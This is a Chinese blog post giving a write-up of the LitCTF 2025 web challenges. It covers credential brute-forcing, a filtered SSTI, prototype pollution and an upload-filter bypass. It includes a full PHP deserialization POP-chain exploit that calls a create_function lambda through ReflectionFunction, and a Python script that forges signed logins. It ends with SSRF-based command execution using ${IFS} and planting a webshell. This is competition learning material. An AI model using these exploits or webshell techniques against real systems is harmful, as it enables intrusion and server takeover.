2025LitCTF--web全解

web

nest_js

爆破账号密码,admin:password

登入就有flag

星愿信箱

过滤了{{的ssti

多重宇宙日记

注册账号a,a,登入在个人资料处看源代码

        // 更新表单的JS提交
        document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
            event.preventDefault();
            const statusEl = document.getElementById('updateStatus');
            const currentSettingsEl = document.getElementById('currentSettings');
            statusEl.textContent = '正在更新...';

            const formData = new FormData(event.target);
            const settingsPayload = {};
            // 构建 settings 对象,只包含有值的字段
            if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
            if (formData.get('language')) settingsPayload.language = formData.get('language');
            // ...可以添加其他字段

            try {
                const response = await fetch('/api/profile/update', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下
                });
                const result = await response.json();
                if (response.ok) {
                    statusEl.textContent = '成功: ' + result.message;
                    currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
                    // 刷新页面以更新导航栏(如果isAdmin状态改变)
                    setTimeout(() => window.location.reload(), 1000);
                } else {
                    statusEl.textContent = '错误: ' + result.message;
                }
            } catch (error) {
                statusEl.textContent = '请求失败: ' + error.toString();
            }
        });

        // 发送原始JSON的函数
        async function sendRawJson() {
            const rawJson = document.getElementById('rawJsonSettings').value;
            const statusEl = document.getElementById('rawJsonStatus');
            const currentSettingsEl = document.getElementById('currentSettings');
            statusEl.textContent = '正在发送...';
            try {
                const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON
                const response = await fetch('/api/profile/update', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON
                });
                const result = await response.json();
                if (response.ok) {
                    statusEl.textContent = '成功: ' + result.message;
                    currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
                     // 刷新页面以更新导航栏(如果isAdmin状态改变)
                    setTimeout(() => window.location.reload(), 1000);
                } else {
                    statusEl.textContent = '错误: ' + result.message;
                }
            } catch (error) {
                 statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
            }
        }

因为题目说考原型链污染,根据源码的要求的格式,构造如下payload

easy_file

又是爆破账号密码,admin:password,发现是文件上传,测试过滤了<?php,换成<?就可以

在admin.php下可以存在file参数可以任意文件读取(根据题目名猜的,难绷),并且是include,那么说明读取的文件会被当成php文件执行。

君の名は

 <?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
    private $musubi;
    private $magic;
    public function __unserialize(array $data)
    {
        $this->musubi = $data['musubi'];
        $this->magic = $data['magic'];
        return ($this->musubi)();
    }
    public function __call($func,$args){
        (new $args[0]($args[1]))->{$this->magic}();
    }
}

class Mitsuha
{
    private $memory;
    private $thread;
    public function __invoke()
    {
        return $this->memory.$this->thread;
    }
}

class KatawareDoki
{
    private $soul;
    private $kuchikamizake;
    private $name;

    public function __toString()
    {
        ($this->soul)->flag($this->kuchikamizake,$this->name);
        return "call error!no flag!";
    }
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
    unserialize($Litctf2025);
}else{
    echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
} 

利用点就在create_function("", 'die(/readflag);');,他会生成一个匿名函数,我们的目的就是去掉用这个匿名函数,第一关参考https://chenxi9981.github.io/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/。这里使用的是ReflectionFunction::invoke的方法来实现的原理可以参考https://www.php.net/manual/en/reflectionfunction.invoke.php。
exp:

<?php

class Taki
{
  public $musubi;
  public $magic;
}

class Mitsuha
{
  public $memory;
  public $thread;
}

class KatawareDoki

{
  public $soul;
  public $kuchikamizake;
  public $name;
}

$a=new Taki();
$a->musubi=new Mitsuha();
$a->musubi->memory=new KatawareDoki();
$a->musubi->memory->kuchikamizake="ReflectionFunction";
$a->musubi->memory->name="\00lambda_50";//匿名类要在前面加一个空字符
$a->musubi->memory->soul=new Taki();
$a->musubi->memory->soul->musubi='time';//getcwd等也可以,目的就是让return ($this->musubi)();这一步不报错,保证程序完整进行
$a->musubi->memory->soul->magic="invoke";
$aa=new Arrayobject($a);
$payload=serialize($aa);
$payload=str_replace("\00","%00",$payload);
echo $payload;


因为create_function()会随机创建一个匿名函数(lambda样式),我们不知道会是多少,所以我上面一lamba_50为序号来进行爆破(这里纠正一下,并不是随机的当我们第一次访问容器时他是lamba_1,随后会随着每次发出请求而加1)
下面给出调试过程
代码

<?php
$test=create_function("","echo \"yes\";"); 
var_dump($test);
$a = new ReflectionFunction("\00lamba_21");
var_dump($a);
$A = $a->invoke(); 
echo $A; 
?>


可以看到第一次是lamba_1,后面随着每次我的访问他都会加1,直到21是得到了输出。可以看到爆破结果第21号不止出现了一次,那是因为它有个峰值,到了峰值又会回到1,不知道会不会和PHP版本有关,这里用的是php7.4.3,最大次数是500

easy_signin

扫描目录得到login.html,在源码处看到/api.js,得到/api/sys/urlcode.php?url=,(还是队友看到的,要不然就一直卡在非本地用户了)尝试登入,输入admin显示密码错误,爆破密码为admin123,显示签名错误

login.html的登入逻辑

 const loginBtn = document.getElementById('loginBtn');
        const passwordInput = document.getElementById('password');
        const errorTip = document.getElementById('errorTip');
        const rawUsername = document.getElementById('username').value; 

     
        loginBtn.addEventListener('click', async () => {
            const rawPassword = passwordInput.value.trim();
            if (!rawPassword) {
                errorTip.textContent = '请输入密码';
                errorTip.classList.add('show');
                passwordInput.focus();
                return;
            }

            const md5Username = CryptoJS.MD5(rawUsername).toString();   
            const md5Password = CryptoJS.MD5(rawPassword).toString();   

     
            const shortMd5User = md5Username.slice(0, 6);  
            const shortMd5Pass = md5Password.slice(0, 6);  

          
            const timestamp = Date.now().toString(); //五分钟

       
            const secretKey = 'easy_signin';  
            const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

            try {
                const response = await fetch('login.php', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded',
                        'X-Sign': sign  
                    },
                    body: new URLSearchParams({
                        username: md5Username,   
                        password: md5Password,   
                        timestamp: timestamp
                    })
                });

                const result = await response.json();
                if (result.code === 200) {
                    alert('登录成功!');
                    window.location.href = 'dashboard.php'; 
                } else {
                    errorTip.textContent = result.msg;
                    errorTip.classList.add('show');
                    passwordInput.value = '';
                    passwordInput.focus();
                    setTimeout(() => errorTip.classList.remove('show'), 3000);
                }
            } catch (error) {
                errorTip.textContent = '网络请求失败';
                errorTip.classList.add('show');
                setTimeout(() => errorTip.classList.remove('show'), 3000);
            }
        });

        passwordInput.addEventListener('input', () => {
            errorTip.classList.remove('show');
        });

发现还需要爆破时间戳,exp

import hashlib
import time
import requests

# 目标地址
url = "http://node9.anna.nssctf.cn:23017/login.php"  # ← 改成你的实际地址

# 固定信息
username = "admin"
password = "admin123"
secret_key = "easy_signin"

# 当前时间戳(单位:毫秒)
timestamp = str(int(time.time() * 1000))

# 加密处理
md5_username = hashlib.md5(username.encode()).hexdigest()
md5_password = hashlib.md5(password.encode()).hexdigest()

short_md5_user = md5_username[:6]
short_md5_pass = md5_password[:6]

sign_raw = short_md5_user + short_md5_pass + timestamp + secret_key
sign = hashlib.md5(sign_raw.encode()).hexdigest()

# 构造请求头和数据
headers = {
    "X-Sign": sign
}

data = {
    "username": md5_username,
    "password": md5_password,
    "timestamp": timestamp
}

# 发起请求
response = requests.post(url, headers=headers, data=data)

try:
    print("[响应状态码]:", response.status_code)
    print("[响应内容]:", response.text)
    print(timestamp)
    print(sign)
except Exception as e:
    print("[错误]:", e)

for key, value in response.headers.items():
    print(f"{key}: {value}")

成功,浏览器放包得到文件,访问

想到前面的/api/sys/urlcode.php?url=,尝试

/api/sys/urlcode.php?url=127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php

可以执行命令,不能有空格尝试${IFS},没找到flag,尝试写马

上蚁剑

最后

写的不好,佬们轻点喷,有错误请指出

posted @ 2025-05-25 19:54  TouHp  阅读(297)  评论(3)    收藏  举报